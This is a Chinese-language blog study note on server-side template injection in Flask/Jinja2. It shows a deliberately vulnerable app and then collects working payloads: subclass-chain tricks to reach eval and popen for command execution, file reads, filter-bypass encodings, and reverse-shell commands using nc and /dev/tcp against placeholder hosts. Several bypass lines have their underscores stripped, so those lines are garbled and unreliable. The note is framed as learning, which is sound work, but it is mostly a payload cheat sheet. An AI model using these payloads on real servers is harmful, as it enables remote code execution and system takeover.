SSTI学习

SSTI 概念

SSTI就是服务器端模板注入(Server-Side Template Injection)

SSTI原理

来看一段简单的代码

from flask import Flask
from flask import request, render_template_string, render_template

app = Flask(__name__)


@app.route('/login')
def ssti():
    person = {
        'name': 'hello',
        'secret': '7d793037a0760186574b0282f2f435e7'
    }
    if request.args.get('name'):
        person['name'] = request.args.get('name')

    template = '<h2>Hello %s!</h2>' % person['name']

    return render_template_string(template, person=person)


if __name__ == "__main__":
    app.run(debug=True)

这里render_template_string函数在渲染模板的时候,使用了%s来替换字符串,其中Flask中使用了Jinja2作为模板渲染引擎,{{}} 作为变量包裹符,在渲染的时候,会把{{}}中的内容当作变量解析,所以1+1就会变成2.

传入:/login?name={{2*2}}

回显为4,其中的{{2*2}}就被解析了
payload,python3。(注意,python2和3的情况是不一样的)

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls").read()') }}         //poppen的参数就是要执行的命令
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
print(().__class__.__bases__[0])//<class 'object'> 找到了基类object
print(''.__class__.__mro__[1]) //这个也是object
for i in enumerate(''.__class__.__mro__[1].__subclasses__()): print (i) #这里我们可以找到所有的子类,再注意,python2和python3不一样。

所以,前面那个payload就显得很重要,你不用一个个去查那个系统的子类有什么东西。

常见payload,有些地方不能复现。

''.__class__.__mro__[-1].__subclasses__()[40]("/etc/password").read() ->这里[40]指向file类,python2
print("".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read())  

注意这里,[128]是不一定的,我们需要找到的是os._wrap_close,也就是这里应该是os._wrap_close.init.globals,后面的参数为函数+命令。

绕过

1、过滤[]等括号

getitem() 用来获取序号
"".class.mro[2]
"".class.mro.getitem(2)

2、过滤字符

{{().class.bases[0].subclasses()[59].init.globals.builtins'eval'}}
2.1 base64
{{().class.bases[0].subclasses()[59].init.globals.builtins'ZXZhbA=='.decode('base64')}} (可以看出单双引号内的都可以编码)
2.2 rot13
{{().class.bases[0].subclasses()[59].init.globals.builtins'riny'.decode('rot13')}}
2.3 16进制编码
{{().class.bases[0].subclasses()[59].init.globals.builtins'6576616C'.decode('hex')}}
2.4 拼接字符串(base64,hex,rot13也可以进行拼接)
过滤了(ls.import.eval.os)
{{().class.bases[0].subclasses()[59].init.globals.builtins'e'+'val'}}

拼接比较好用。

更多参考:https://www.cnblogs.com/zaqzzz/p/10263396.html

4、POC
更多参考:https://p0sec.net/index.php/archives/120/

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
下有eval,__import__等的全局函数,可以利用此来执行命令:

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

反弹shell:
# 写入文件
payload 1 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}
payload 2 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}
# 利用 config.from_pyfile 加载文件
{{ config.from_pyfile('/tmp/shaobao') }}
# 反弹shell ; 提供两种方法;对应上的两个文件
payload1 ::
{{ config['CMD']('nc xxxxxx 5555 -e /bin/sh') }}
payload2 ::
{{ config['RUNCMD']('bash -i >& /dev/tcp/xxxx/5555 0>&1',shell=True) }}

参考:https://xz.aliyun.com/t/3679 https://www.dazhuanlan.com/2019/12/16/5df658e7d4e01/

posted @ 2020-09-23 17:42  vstar_o  阅读(246)  评论(0编辑  收藏  举报